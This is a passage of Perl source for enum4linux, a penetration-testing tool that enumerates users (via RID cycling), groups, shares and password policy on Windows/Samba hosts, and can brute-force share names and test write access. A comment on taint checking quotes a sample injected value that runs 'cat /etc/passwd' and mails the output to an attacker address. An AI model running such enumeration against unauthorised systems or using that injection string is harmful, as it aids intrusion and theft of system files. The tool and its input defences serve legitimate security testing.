#!/usr/bin/perl
# enum4linux - Windows enumeration tool for Linux
# Copyright (C) 2011  Mark Lowe
# 
# This tool may be used for legal purposes only.  Users take full responsibility
# for any actions performed using this tool.  The author accepts no liability
# for damage caused by this tool.  If these terms are not acceptable to you, then
# you are not permitted to use this tool.
#
# In all other respects the GPL version 2 applies:
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
# 
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
# 
# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
#
# You are encouraged to send comments, improvements or suggestions to
# me at mrl@portcullis-security.com
#
# TODO
#
# * replace system($string) with system($prog, @args).
#
# * Search RID space intellegently.  Samba starts accounts at 0, but
#   Windows starts at 500.  We don't want to search 0-500 on all
#   hosts.  Maybe check 0-10 and abort if nothing is found.  Some SIDs
#   on samba servers start RIDs much higher (3000+).  How do we make
#   sure we get all these.
#
# * Mutliple SIDs can be found on some hosts (samba).  
#
# * Output Group Memberships in a more parsable format.
#
use strict;
use warnings;
use Getopt::Std;
use File::Basename;
use Data::Dumper;
use Scalar::Util qw(tainted);
use Term::ANSIColor;

my $VERSION="0.9.1";
my $verbose = 0;
my $debug = 0;
my $aggressive = 0;
my $global_fail_limit = 1000;     # no command line option yet
my $global_search_until_fail = 0; # no command line option yet
my $heighest_rid = 999999;
my $global_workgroup = '';
my $global_username = '';
my $global_password = '';
my $global_dictionary = 0;
my $global_filename = '';
my $global_share_file = '';
my $global_detailed = 0;
my $global_passpol = 0;
my $global_rid_range = "500-550,1000-1050";
my $global_known_username_string = "administrator,guest,krbtgt,domain admins,root,bin,none";
my @dependent_programs = qw(nmblookup net rpcclient smbclient);
my @optional_dependent_programs = qw(polenum ldapsearch);
my %odp_present = ();
my $null_session_test = 0;
my %opts;

###############################################################################
# The following  mappings for nmblookup (nbtstat) status codes to human readable
# format is taken from nbtscan 1.5.1 "statusq.c".  This file in turn
# was derived from the Samba package which contains the following
# license:
#    Unix SMB/Netbios implementation
#    Version 1.9
#    Main SMB server routine
#    Copyright (C) Andrew Tridgell 1992-199
# 
#    This program is free software; you can redistribute it and/or modif
#    it under the terms of the GNU General Public License as published b
#    the Free Software Foundation; either version 2 of the License, o
#    (at your option) any later version
# 
#    This program is distributed in the hope that it will be useful
#    but WITHOUT ANY WARRANTY; without even the implied warranty o
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See th
#    GNU General Public License for more details
# 
#    You should have received a copy of the GNU General Public Licens
#    along with this program; if not, write to the Free Softwar
#    Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA

my @nbt_info = (
["__MSBROWSE__", "01", 0, "Master Browser"],
["INet~Services", "1C", 0, "IIS"],
["IS~", "00", 1, "IIS"],
["", "00", 1, "Workstation Service"],
["", "01", 1, "Messenger Service"],
["", "03", 1, "Messenger Service"],
["", "06", 1, "RAS Server Service"],
["", "1F", 1, "NetDDE Service"],
["", "20", 1, "File Server Service"],
["", "21", 1, "RAS Client Service"],
["", "22", 1, "Microsoft Exchange Interchange(MSMail Connector)"],
["", "23", 1, "Microsoft Exchange Store"],
["", "24", 1, "Microsoft Exchange Directory"],
["", "30", 1, "Modem Sharing Server Service"],
["", "31", 1, "Modem Sharing Client Service"],
["", "43", 1, "SMS Clients Remote Control"],
["", "44", 1, "SMS Administrators Remote Control Tool"],
["", "45", 1, "SMS Clients Remote Chat"],
["", "46", 1, "SMS Clients Remote Transfer"],
["", "4C", 1, "DEC Pathworks TCPIP service on Windows NT"],
["", "52", 1, "DEC Pathworks TCPIP service on Windows NT"],
["", "87", 1, "Microsoft Exchange MTA"],
["", "6A", 1, "Microsoft Exchange IMC"],
["", "BE", 1, "Network Monitor Agent"],
["", "BF", 1, "Network Monitor Application"],
["", "03", 1, "Messenger Service"],
["", "00", 0, "Domain/Workgroup Name"],
["", "1B", 1, "Domain Master Browser"],
["", "1C", 0, "Domain Controllers"],
["", "1D", 1, "Master Browser"],
["", "1E", 0, "Browser Service Elections"],
["", "2B", 1, "Lotus Notes Server Service"],
["IRISMULTICAST", "2F", 0, "Lotus Notes"],
["IRISNAMESERVER", "33", 0, "Lotus Notes"],
['Forte_$ND800ZA', "20", 1, "DCA IrmaLan Gateway Server Service"]
);
####################### end of nbtscan-derrived code ############################

my $usage =<<USAGE;
enum4linux v$VERSION \(http://labs.portcullis.co.uk/application/enum4linux/\)
Copyright \(C\) 2011 Mark Lowe \(mrl\@portcullis-security.com\)

Simple wrapper around the tools in the samba package to provide similar 
functionality to enum.exe (formerly from www.bindview.com).  Some additional 
features such as RID cycling have also been added for convenience.

Usage: $0 [options] ip

Options are (like "enum"):
    -U        get userlist
    -M        get machine list*
    -S        get sharelist
    -P        get password policy information
    -G        get group and member list
    -d        be detailed, applies to -U and -S
    -u user   specify username to use (default "")  
    -p pass   specify password to use (default "")   

The following options from enum.exe aren't implemented: -L, -N, -D, -f

Additional options:
    -a        Do all simple enumeration (-U -S -G -P -r -o -n -i).
              This option is enabled if you don't provide any other options.
    -h        Display this help message and exit
    -r        enumerate users via RID cycling
    -R range  RID ranges to enumerate (default: $global_rid_range, implies -r)
    -K n      Keep searching RIDs until n consective RIDs don't correspond to
              a username.  Impies RID range ends at $heighest_rid. Useful 
	      against DCs.
    -l        Get some (limited) info via LDAP 389/TCP (for DCs only)
    -s file   brute force guessing for share names
    -k user   User(s) that exists on remote system (default: $global_known_username_string)
              Used to get sid with "lookupsid known_username"
    	      Use commas to try several users: "-k admin,user1,user2"
    -o        Get OS information
    -i        Get printer information
    -w wrkg   Specify workgroup manually (usually found automatically)
    -n        Do an nmblookup (similar to nbtstat)
    -v        Verbose.  Shows full commands being run (net, rpcclient, etc.)
    -A        Aggressive. Do write checks on shares etc

RID cycling should extract a list of users from Windows \(or Samba\) hosts 
which have RestrictAnonymous set to 1 \(Windows NT and 2000\), or \"Network 
access: Allow anonymous SID/Name translation\" enabled \(XP, 2003\).

NB: Samba servers often seem to have RIDs in the range 3000-3050.

Dependancy info: You will need to have the samba package installed as this 
script is basically just a wrapper around rpcclient, net, nmblookup and 
smbclient.  Polenum from http://labs.portcullis.co.uk/application/polenum/ 
is required to get Password Policy info.

USAGE

# Notes on Taint
# --------------
#
# This script should run OK with Taint checking on (perl -T).  I've
# turned it off because it complains about your path somethimes which
# users found annoying.
#
# I mainly implemented taint checking incase someone set up a malicious server to return
# a workgroup like: WORK; cat /etc/passwd | mail hacker@evil.net;
#
# I've also been paranoid and applied taint checking to command line options.  This
# isn't necessarily particularly useful, though.

# Untaint PATH.  We're not too bothered about mailicious paths for the usage of this
# tool, but we must remove "." from the path to keep perl happy.
$ENV{'PATH'} =~ /(.*)/;
$ENV{'PATH'} = $1;
$ENV{'PATH'} =~ s/^://;
$ENV{'PATH'} =~ s/:$//;
$ENV{'PATH'} =~ s/^\.://;
$ENV{'PATH'} =~ s/:\.//;

getopts('UMNSPGlLDu:dp:f:rR:s:k:vAow:hnaiPK:', \%opts);

# Print help message if required
if ($opts{'h'}) {
	print $usage;
	exit 0;
}

# Read host and untaint
my $global_target = shift or die $usage;
if ($global_target =~ /^([a-zA-Z0-9\._\-]+)$/) {
	$global_target = $1;
} else {
	print "ERROR: Target hostname \"$global_target\" contains some illegal characters\n";
	exit 1;
}

#
# Read in options
#

# Enable -a if no other options (apart from -v) are given
unless (scalar( grep { $_ ne 'v' } keys %opts)) {
	$opts{'a'} = 1;
}

# Turn on some other options if -a given
if ($opts{'a'}) {
	$opts{'U'} = 1;
	$opts{'S'} = 1;
	$opts{'G'} = 1;
	$opts{'r'} = 1;
	$opts{'P'} = 1;
	$opts{'o'} = 1;
	$opts{'n'} = 1;
	$opts{'i'} = 1;
}

$global_username       = $opts{'u'} if $opts{'u'};
$global_password       = $opts{'p'} if $opts{'p'};
$global_detailed       = $opts{'d'} if $opts{'d'};
$global_dictionary     = $opts{'D'} if $opts{'D'};
$global_filename       = $opts{'f'} if $opts{'f'};
$global_rid_range      = $opts{'R'} if $opts{'R'};
$global_passpol        = $opts{'P'} if $opts{'P'};
$global_fail_limit     = $opts{'K'} if $opts{'K'};
$global_share_file     = $opts{'s'} if $opts{'s'};
$global_known_username_string = $opts{'k'} if $opts{'k'};
$global_workgroup      = $opts{'w'} if $opts{'w'};
$verbose               = $opts{'v'} if $opts{'v'};
$aggressive            = 1          if $opts{'A'};
$opts{'r'}             = 1          if $opts{'R'};

$global_search_until_fail = 1 if defined($opts{'K'});

my @global_known_usernames = split(",", $global_known_username_string);

# Check that dependant programs are present on the system - hopefull "which" is installed!
my $dependency_error = 0;
foreach my $prog (@dependent_programs) {
	my $which_output = `which $prog 2>&1`;
	chomp $which_output;
	if ($which_output !~ /^\/.*\/$prog$/) {
		print "ERROR: $prog is not in your path.  Check that samba package is installed\n";
		$dependency_error = 1;
	} else {
		print_verbose("Dependent program \"$prog\" found in $which_output\n") if $verbose;
	}
}
foreach my $prog (@optional_dependent_programs) {
	my $which_output = `which $prog 2>&1`;
	chomp $which_output;
	if ($which_output !~ /^\/.*\/$prog$/) {
		print "WARNING: $prog is not in your path.  Check that package is installed and your PATH is sane.\n";
		$odp_present{$prog} = 0;
	} else {
		print_verbose("Dependent program \"$prog\" found in $which_output\n") if $verbose;
		$odp_present{$prog} = 1;
	}
}
if ($dependency_error) {
	print "For Gentoo, you need to install the \"samba\" package\n";
	print "For Debian, you need to install the \"smbclient\" package\n";
	exit 1;
}

# Untaint workgroup if supplied on command line
if (defined($global_workgroup)) {
	if ($global_workgroup =~ /^([a-zA-Z0-9\.\-_]*)$/) {
		$global_workgroup = $1;
	} else {
		print "ERROR: Workgroup \"$global_workgroup\" contains some illegal characters\n";
		exit 1;
	}
}

# We're going to use hard quotes around all variables used in "system" calls.
# We don't want bad data to be able to break out of these quotes.
foreach my $known_username (@global_known_usernames) {
	$known_username =~ s/'/'\''/g; ($known_username) = $known_username =~ /(.*)/;
}
$global_username =~ s/'/'\\''/g;       ($global_username)       = $global_username       =~ /(.*)/;
$global_password =~ s/'/'\\''/g;       ($global_password)       = $global_password       =~ /(.*)/;

# Output message about options used
print "Starting enum4linux v$VERSION ( http://labs.portcullis.co.uk/application/enum4linux/ ) on " .  scalar(localtime) . "\n";
print_heading("Target Information");
print "Target ........... $global_target\n";
print "RID Range ........ $global_rid_range\n";
print "Username ......... '$global_username'\n";
print "Password ......... '$global_password'\n";
print "Known Usernames .. " . join(", ", @global_known_usernames) . "\n";
print "\n";

# Basic enumeration, check session
get_workgroup();
get_nbtstat()          if $opts{'n'};
make_session();
get_ldapinfo()         if $opts{'l'};
get_domain_sid();
get_os_info()          if $opts{'o'};

# enum-compatible functions
enum_users()           if $opts{'U'};
enum_machines()        if $opts{'M'};
enum_names()           if $opts{'N'};
enum_shares()          if $opts{'S'};
enum_password_policy() if $opts{'P'};
enum_groups()          if $opts{'G'};
enum_dom_groups()      if $opts{'G'};
enum_lsa_policy()      if $opts{'L'};

# extra stuff that runs slowly
enum_users_rids()      if $opts{'r'};
enum_shares_unauth()   if $opts{'s'};
get_printer_info()     if $opts{'i'};

print "enum4linux complete on " . scalar(localtime) . "\n\n";

sub get_nbtstat {
	print_heading("Nbtstat Information for $global_target");
	my $output = `nmblookup -A '$global_target' 2>&1`;
	$output = nbt_to_human($output);
	print "$output\n";
}

sub get_domain_sid {
	print_heading("Getting domain SID for $global_target");
	my $command = "rpcclient -W '$global_workgroup' -U'$global_username'\%'$global_password' $global_target -c 'lsaquery' 2>&1";
	print_verbose("Attempting to get domain SID with command: $command\n") if $verbose;
	my $domain_sid_text = `$command`;
	chomp $domain_sid_text;
	print $domain_sid_text;
	print "\n";
	if ($domain_sid_text =~ /Domain Sid: S-0-0/) {
		print_plus("Host is part of a workgroup (not a domain)\n");
	} elsif ($domain_sid_text =~ /Domain Sid: S-\d+-\d+-\d+-\d+-\d+-\d+/) {
		print_plus("Host is part of a domain (not a workgroup)\n");
	} else {
		print_plus("Can't determine if host is part of domain or part of a workgroup\n");
	}
}

# Get workgroup from nbstat info - we need this for lots of rpcclient calls
sub get_workgroup {
	print_heading("Enumerating Workgroup/Domain on $global_target");
	print_verbose("Attempting to get domain name with command: nmblookup -A '$global_target'\n") if $verbose;

	# Workgroup might already be known - e.g. from command line or from get_os_info()
	unless ($global_workgroup) {
		print "target is tainted\n" if tainted($global_target); # DEBUG
		$global_workgroup = `nmblookup -A '$global_target'`; # Global var.  Erg!
		($global_workgroup) = $global_workgroup =~ /\s+(\S+)\s+<00> - <GROUP>/s;
		unless (defined($global_workgroup)) {
			# dc.example.org. hostmaster.example.org. 1 900 600 86400 3600
			$global_workgroup = `dig +short 0.in-addr.arpa`;
			($global_workgroup) = $global_workgroup =~ /.*\. hostmaster\.(.*?)\. .*/s;
			if (defined($global_workgroup)) {
				print "[+] Domain guessed: $global_workgroup\n";
			} else {
				$global_workgroup = "WORKGROUP";
				print_error("Can\'t find workgroup/domain\n");
				print "\n";
				return;
			}
		}
		unless (defined($global_workgroup) and $global_workgroup =~ /^[A-Za-z0-9_\.\-]+$/) {
			print_error("Workgroup \"$global_workgroup\"contains some illegal characters\n");
			exit 1;
		}
	}
	print_plus("Got domain/workgroup name: $global_workgroup\n");
}

# Get long domain name via LDAP
# We don't do this by default because LDAP ports might not be present, or firewalled.
sub get_ldapinfo {
	print_heading("Getting information via LDAP for $global_target");
	my $command = "ldapsearch -x -h '$global_target' -p 389 -s base namingContexts 2>&1";
	print_verbose("Attempting to long domain name: $command\n") if $verbose;
	unless ($odp_present{"ldapsearch"}) {
		print_error("Dependent program \"ldapsearch\" not present.  Skipping this check.  Install ldapsearch to fix.\n\n");
		return 0;
	}

	my $output = `$command`;

	if ($output =~ /ldap_sasl_bind/) {
		print_error("Connection error\n");
		return 0;
	}
	my $parent = 0;
	foreach my $line (split "\n", $output) {
		if ($line =~ /namingContexts: DC=DomainDnsZones/ or $line =~ /namingContexts: DC=ForestDnsZones/) {
			$parent = 1;
		} elsif ($line =~ /namingContexts:\s+(DC=[^,]+,DC=.*)/) {
			my $long_domain = $1;
			$long_domain =~ s/DC=//g;
			$long_domain =~ s/,/./g;
			print_plus("Long domain name for $global_target: $long_domain\n");
		}
	}

	if ($parent == 1) {
		print_plus("$global_target appears to be a root/parent DC\n");
	} else {
		print_plus("$global_target appears to be a child DC\n");
	}

}

# See if we can connect using a null session or supplied credentials
sub make_session {
	print_heading("Session Check on $global_target");
	my $command = "smbclient -W '$global_workgroup' //'$global_target'/ipc\$ -U'$global_username'\%'$global_password' -c 'help' 2>&1";
	print_verbose("Attempting to make null session using command: $command\n") if $verbose;
	my $os_info = `$command`;
	chomp $os_info;
	if ($os_info =~ /protocol negotiation failed: NT_STATUS_CONNECTION_RESET/) {
		print_error("Protocol mismatch.  smbclient doesn\'t support the same protocol versions as the server.  You likely need to install a later version of Samba.\n");
	}
	if ($os_info =~ /case_sensitive/) {
		print_plus("Server $global_target allows sessions using username '$global_username', password '$global_password'\n");
	} else {
		print_error("Server doesn't allow session using username '$global_username', password '$global_password'.  Aborting remainder of tests.\n");
		exit 1;
	}

	# Use this info to set workgroup if possible
	unless ($global_workgroup) {
		($global_workgroup) = $os_info =~ /Domain=\[([^]]*)\]/;
		print_plus("Got domain/workgroup name: $global_workgroup\n");
	}
}

# Get OS info
sub get_os_info {
	print_heading("OS information on $global_target");


	my $command = "smbclient -W '$global_workgroup' //'$global_target'/ipc\$ -U'$global_username'\%'$global_password' -c 'q' 2>&1";
	print_verbose("Attempting to get OS info with command: $command\n") if $verbose;
	my $os_info = `$command`;
	chomp $os_info;

	if (defined($os_info)) {
		if ($os_info =~ /(Domain=[^\n]+)/s) {
			($os_info) = $os_info =~ /(Domain=[^\n]+)/s;
			print_plus("Got OS info for $global_target from smbclient: ");
			print "$os_info\n";
		} else {
			print_error("Can't get OS info with smbclient\n");
		}
	}

	$command = "rpcclient -W '$global_workgroup' -U'$global_username'\%'$global_password' -c 'srvinfo' '$global_target' 2>&1";
	print_verbose("Attempting to get OS info with command: $command\n") if $verbose;
	$os_info = `$command`;
	if (defined($os_info)) {
		if ($os_info =~ /error: NT_STATUS_ACCESS_DENIED/) {
			print_error("Can't get OS info with srvinfo\n");
		} else {
			print_plus("Got OS info for $global_target from srvinfo: ");
			print "$os_info\n";
		}
	}
}

sub enum_password_policy {
	print_heading("Password Policy Information for $global_target");
	my $command = "polenum '$global_username':'$global_password'\@'$global_target' 2>&1";
	unless ($odp_present{"polenum"}) {
		print_error("Dependent program \"polenum\" not present.  Skipping this check.  Download polenum from http://labs.portcullis.co.uk/application/polenum/\n\n");
		return 0;
	}
	print_verbose("Attempting to get Password Policy info with command: $command\n") if $verbose;
	my $passpol_info = `$command`;
	chomp $passpol_info;
	if (defined($passpol_info)) {
		if ($passpol_info =~ /Account Lockout Threshold/) {
			print $passpol_info;
		} elsif ($passpol_info =~ /Error Getting Password Policy: Connect error/) {
			print_error("Can't connect to host with supplied credentials.\n");
		} else {
			print_error("Unexpected error from polenum:\n");
			print $passpol_info;
		}
	} else {
		print_error("polenum gave no output.\n");
	}
	$command = "rpcclient -W '$global_workgroup' -U'$global_username'\%'$global_password' '$global_target' -c \"getdompwinfo\" 2>&1";
	print_verbose("Attempting to get Password Policy info with command: $command\n") if $verbose;
	$passpol_info = `$command`;
	chomp $passpol_info;
	print "\n";
	if (defined($passpol_info) and $passpol_info !~ /ACCESS_DENIED/) {
		print_plus("Retieved partial password policy with rpcclient:\n\n");
		if ($passpol_info =~ /password_properties: 0x[0-9a-fA-F]{7}0/) {
			print "Password Complexity: Disabled\n";
		} elsif ($passpol_info =~ /password_properties: 0x[0-9a-fA-F]{7}1/) {
			print "Password Complexity: Enabled\n";
		}
		if ($passpol_info =~ /min_password_length: (\d+)/) {
			my $minlen = $1;
			print "Minimum Password Length: $minlen\n";
		}
	} else {
		print_error("Failed to get password policy with rpcclient\n");
	}
	print "\n";
}

sub enum_lsa_policy {
	print_heading("LSA Policy Information on $global_target");
	print_error("Not implemented in this version of enum4linux.\n");
}

sub enum_machines {
	print_heading("Machine Enumeration on $global_target");
	print_error("Not implemented in this version of enum4linux.\n");
}

sub enum_names {
	print_heading("Name Enumeration on $global_target");
	print_error("Not implemented in this version of enum4linux.\n");
}

sub enum_groups {
	print_heading("Groups on $global_target");
	foreach my $grouptype ("builtin", "domain") {
		# Get list of groups
		my $command = "rpcclient -W '$global_workgroup' -U'$global_username'\%'$global_password' '$global_target' -c 'enumalsgroups $grouptype' 2>&1";
		if ($grouptype eq "domain") {
			print_verbose("Getting local groups with command: $command\n") if $verbose;
			print_plus(" Getting local groups:\n");
		} else {
			print_verbose("Getting $grouptype groups with command: $command\n") if $verbose;
			print_plus("Getting $grouptype groups:\n");
		}
		my $groups_string = `$command`;
		if ($groups_string =~ /error: NT_STATUS_ACCESS_DENIED/) {
			if ($grouptype eq "domain") {
				print_error("Can't get local groups: NT_STATUS_ACCESS_DENIED\n");
			} else {
				print_error("Can't get $grouptype groups: NT_STATUS_ACCESS_DENIED\n");
			}
		} else {
			($groups_string) = $groups_string =~ /(group:.*)/s;
			$groups_string = "" unless defined($groups_string);
			print $groups_string;
		}

		# Get group members
		my %rid_of_group = $groups_string =~ /\[([^\]]+)\]/sg;
		if ($grouptype eq "domain") {
			print_plus(" Getting local group memberships:\n");
		} else {
			print_plus(" Getting $grouptype group memberships:\n");
		}
		foreach my $groupname (keys %rid_of_group) {
			$groupname =~ s/'/'\\''/g;
			$rid_of_group{$groupname} =~ s/^0x//;
			$rid_of_group{$groupname} = hex($rid_of_group{$groupname});
			$command = "net rpc group members '$groupname' -W '$global_workgroup' -I '$global_target' -U'$global_username'\%'$global_password' 2>&1\n";
			print_verbose("Running command: $command\n") if $verbose;
			my $members = `$command`;
			my @members = split "\n", $members;
			foreach my $m (@members) {
				print colored("Group: ", 'magenta');
				print "$groupname' (RID: " . $rid_of_group{$groupname} . ") has member: $m\n";
			}
		}
		if ($global_detailed) {
			foreach my $groupname (keys %rid_of_group) {
				print_plus("Getting detailed info for group $groupname (RID: " . $rid_of_group{$groupname} . ")\n");
				get_group_details_from_rid($rid_of_group{$groupname});
			}
		}
	}
}

sub enum_dom_groups {
	# Get list of groups
	my $command = "rpcclient -W '$global_workgroup' -U'$global_username'\%'$global_password' '$global_target' -c \"enumdomgroups\" 2>&1";
	print_verbose("Getting domain groups with command: $command\n") if $verbose;
	print_plus(" Getting domain groups:\n");

	my $groups_string = `$command`;
	if ($groups_string =~ /error: NT_STATUS_ACCESS_DENIED/) {
		print_error("Can't get domain groups: NT_STATUS_ACCESS_DENIED\n");
	} else {
		($groups_string) = $groups_string =~ /(group:.*)/s;
		$groups_string = "" unless defined($groups_string);
		print $groups_string;
	}

	# Get group members
	my %rid_of_group = $groups_string =~ /\[([^\]]+)\]/sg;
	print_plus(" Getting domain group memberships:\n");

	foreach my $groupname (keys %rid_of_group) {
		$groupname =~ s/'/'\\''/g;
		$rid_of_group{$groupname} =~ s/^0x//;
		$rid_of_group{$groupname} = hex($rid_of_group{$groupname});
		$command = "net rpc group members '$groupname' -W '$global_workgroup' -I '$global_target' -U'$global_username'\%'$global_password' 2>&1\n";
		print_verbose("Running command: $command\n") if $verbose;
		my $members = `$command`;
		my @members = split "\n", $members;
		foreach my $m (@members) {
			print colored("Group: ", 'magenta');
			print "'$groupname' (RID: " . $rid_of_group{$groupname} . ") has member: $m\n";
		}
	}
	if ($global_detailed) {
		foreach my $groupname (keys %rid_of_group) {
			print_plus("Getting detailed info for group $groupname (RID: " . $rid_of_group{$groupname} . ")\n");
			get_group_details_from_rid($rid_of_group{$groupname});
		}
	}
}

sub enum_groups_unauth {
	print_heading("Groups on $global_target via RID cycling");
	print_error("Not implemented in this version of enum4linux.\n");
}

sub enum_shares {
	# Share enumeration
	print_heading("Share Enumeration on $global_target");
	print_verbose("Attempting to get share list using authentication\n") if $verbose;
	# my $shares = `net rpc share -W '$global_workgroup' -I '$global_target' -U'$global_username'\%'$global_password' 2>&1`;
	my $command = "smbclient -W '$global_workgroup' -L //'$global_target' -U'$global_username'\%'$global_password' 2>&1";
	my $shares = `$command`;
	if (defined($shares)) {
		if ($shares =~ /NT_STATUS_ACCESS_DENIED/) {
			print_error("Can't list shares: NT_STATUS_ACCESS_DENIED\n");
		} else {
			print "$shares";
		}
	}

	print_plus("Attempting to map shares on $global_target\n");
	my @shares = $shares =~ /^[\t ]*?([ \S]+?)[\t ]*?(?:Disk|IPC|Printer)[^\n]*/gms;
	foreach my $share (@shares) {
		my ($mapping_result, $listing_result, $writing_result) = ("N/A","N/A","N/A");

		$share =~ s/'/'\\''/g;
		my $command = "smbclient -W '$global_workgroup' //'$global_target'/'$share' -U'$global_username'\%'$global_password' -c dir 2>&1";
		print_verbose("Attempting map to share //$global_target/$share with command: $command\n") if $verbose;
		my $output = `$command`;
	
		if ($output =~ /NT_STATUS_ACCESS_DENIED listing/ || 
			$output =~ /do_list:.*NT_STATUS_ACCESS_DENIED/ ) {
			$mapping_result="OK"; $listing_result="DENIED";
		} elsif ($output =~ /tree connect failed: NT_STATUS_ACCESS_DENIED/) {
			$mapping_result="DENIED"; $listing_result="N/A";
		} elsif ($output =~ /\n\s+\.\.\s+D.*\d{4}\n/) {
			$mapping_result="OK" ; $listing_result="OK";
		} else {
			print_error("Can't understand response:\n");
			print $output;
		}
		if ($mapping_result eq "OK") {
			if ($aggressive) {
				print "testing write access " . $share . "\n";
				# check for write access
				my @chars = ("A".."Z", "a".."z", "0".."9");
				my $random_string;
				$random_string .= $chars[rand @chars] for 1..8;
				
				$command = "smbclient -W '$global_workgroup' //'$global_target'/'$share' -U'$global_username'\%'$global_password' -c 'mkdir $random_string' 2>&1";
				print_verbose("Checking write access to share //$global_target/$share with command: $command\n") if $verbose;
				$output = `$command` ;
				if ($output =~ /NT_STATUS_ACCESS_DENIED making/) {
					$writing_result="DENIED" ;
				} elsif (length $output) {
					# the command should not give any output, if something was output maybe it's a failure
                			my $command2 = "smbclient -W '$global_workgroup' //'$global_target'/'$share' -U'$global_username'\%'$global_password' -c dir 2>&1";
                			print_verbose("Attempting check for directory $random_string on //$global_target/$share with command: $command2\n") if $verbose;
                			my $output2 = `$command2`;
					if ($output2 =~ /.*$random_string.*/) {
						$writing_result="OK";
					} else {
						print_error("Can't understand initial response:\n");
						print $output;
						print_error("Can't understand second response:\n");
						print $output2;
					}
				} else {
					$writing_result="OK";
				}
				if ($writing_result ne "DENIED") {
					# remove the directory we created
					$command = "smbclient -W '$global_workgroup' //'$global_target'/'$share' -U'$global_username'\%'$global_password' -c 'rmdir $random_string' 2>&1";
					print_verbose("Removing created directory on share //$global_target/$share with command: $command\n") if $verbose;
					$output=`$command` ;
					if (length $output) {
						print_error("rmdir command returned the following:\n");
						print $output ;
					}
				}
			}
		}
		# print results
		print "//$global_target/$share\t";
		print colored("Mapping: ", 'magenta');
		print $mapping_result ;
		print colored(" Listing: ", 'magenta');
		print $listing_result ;
		print colored(" Writing: ", 'magenta');
		print $writing_result ;
		print "\n" ; 
	}
}

sub enum_shares_unauth {
	print_heading("Brute Force Share Enumeration on $global_target");
	print_verbose("Attempting to get share list using bruteforcing\n") if $verbose;
	my $shares_file = $global_share_file;
	open SHARES, "<$shares_file" or die "[E] Can't open share list file $shares_file: $!\n";
	my @shares = <SHARES>;
	for (@shares) {chomp};
	
	foreach my $share (@shares) {
		# Untaint $share
		if ($share =~ /^([a-zA-Z0-9\._\$\-]+)$/) {
			$share = $1;
		} else {
			print_error("Share name $share contains some illegal characters\n");
			exit 1;
		}

		my $result = `smbclient -W '$global_workgroup' //'$global_target'/'$share' -c dir -U'$global_username'\%'$global_password' 2>&1`;
		if ($result =~ /blocks of size .* blocks available/) {
			print "$share EXISTS, Allows access using username: '$global_username', password: '$global_password'\n";
		} elsif ($result =~ /NT_STATUS_BAD_NETWORK_NAME/) {
			print "$share doesn't exist\n" if $debug;
		} elsif ($result =~ /NT_STATUS_ACCESS_DENIED/) {
			print "$share EXISTS\n";
		} else {
			print $result;
		}
	}
}

sub enum_users_rids {
	print_heading("Users on $global_target via RID cycling (RIDS: $global_rid_range)");
	
	my $sid;
	my %sids = ();
	my $logon;
	my $cleansid;
	# Get SID - try other known usernames if necessary
	foreach my $known_username (@global_known_usernames) {
		my $command = "rpcclient -W '$global_workgroup' -U'$global_username'\%'$global_password' '$global_target' -c 'lookupnames $known_username' 2>&1";
		print_verbose("Attempting to get SID from $global_target with command: $command\n") if $verbose;
		print_verbose("Assuming that user \"$known_username\" exists\n") if $verbose;
		$logon = "username '$global_username', password '$global_password'";
		$sid = `$command`;
		if ($sid =~ /NT_STATUS_ACCESS_DENIED/) {
			print_error("Couldn't get SID: NT_STATUS_ACCESS_DENIED.  RID cycling not possible.\n");
			last;
		} elsif ($sid =~ /NT_STATUS_NONE_MAPPED/) {
			print_verbose("User \"$known_username\" doesn't exist.  User enumeration should be possible, but SID needed...\n") if $verbose;
			next;
		} elsif ($sid =~ /S-1-5-21-[\d-]+-\d+\s+/) {
			($cleansid) = $sid =~ /(S-1-5-21-[\d-]+)-\d+\s+/;
			if (defined($sids{$cleansid})) {
				print_info("Found new SID: ");
				print "$cleansid\n";
			}
			$sids{$cleansid} = 1;
			next;
		} elsif ($sid =~ /S-1-5-[\d-]+-\d+\s+/) {
			($cleansid) = $sid =~ /(S-1-5-[\d-]+)-\d+\s+/;
			if (defined($sids{$cleansid})) {
				print_info("Found new SID: ");
				print "$cleansid\n";
			}
			$sids{$cleansid} = 1;
			next;
		} elsif ($sid =~ /S-1-22-[\d-]+-\d+\s+/) {
			($cleansid) = $sid =~ /(S-1-22-[\d-]+)-\d+\s+/;
			if (defined($sids{$cleansid})) {
				print_info("Found new SID: ");
				print "$cleansid\n";
			}
			$sids{$cleansid} = 1;
			next;
		} else {
			next;
		}
	}

	# Get some more SIDs (hopefully)
	my $command = "rpcclient -W '$global_workgroup' -U'$global_username'\%'$global_password' '$global_target' -c lsaenumsid 2>&1";
	print_verbose("Attempting to get SIDs from $global_target with command: $command\n") if $verbose;
	my $sids = `$command`;
	foreach my $sid ($sids =~ /(S-[0-9-]+)/g) {
		print_verbose("Processing SID $sid\n") if $verbose;
		if ($sid =~ /NT_STATUS_ACCESS_DENIED/) {
			print_error("Couldn't get SID: NT_STATUS_ACCESS_DENIED.  RID cycling not possible.\n");
			next;
		} elsif ($sid =~ /S-1-5-21-[\d-]+-\d+/) {
			($cleansid) = $sid =~ /(S-1-5-21-[\d-]+)-\d+/;
			if (defined($sids{$cleansid})) {
				print_info("Found new SID: ");
				print "$cleansid\n";
			}
			$sids{$cleansid} = 1;
			next;
		} elsif ($sid =~ /S-1-5-[\d-]+-\d+/) {
			($cleansid) = $sid =~ /(S-1-5-[\d-]+)-\d+/;
			if (defined($sids{$cleansid})) {
				print_info("Found new SID: ");
				print "$cleansid\n";
			}
			$sids{$cleansid} = 1;
			next;
		} elsif ($sid =~ /S-1-22-[\d-]+-\d+/) {
			($cleansid) = $sid =~ /(S-1-22-[\d-]+)-\d+/;
			if (defined($sids{$cleansid})) {
				print_info("Found new SID: ");
				print "$cleansid\n";
			}
			$sids{$cleansid} = 1;
			next;
		} else {
			next;
		}
	}

	foreach my $sid (keys %sids) {
		if (! defined($sid) and $global_username) {
			print_verbose("WARNING: Can\'t get SID.  Maybe none of the 'known' users really exist.  Try others with -k.  Trying null session.\n") if $verbose;
			foreach my $known_username (@global_known_usernames) {
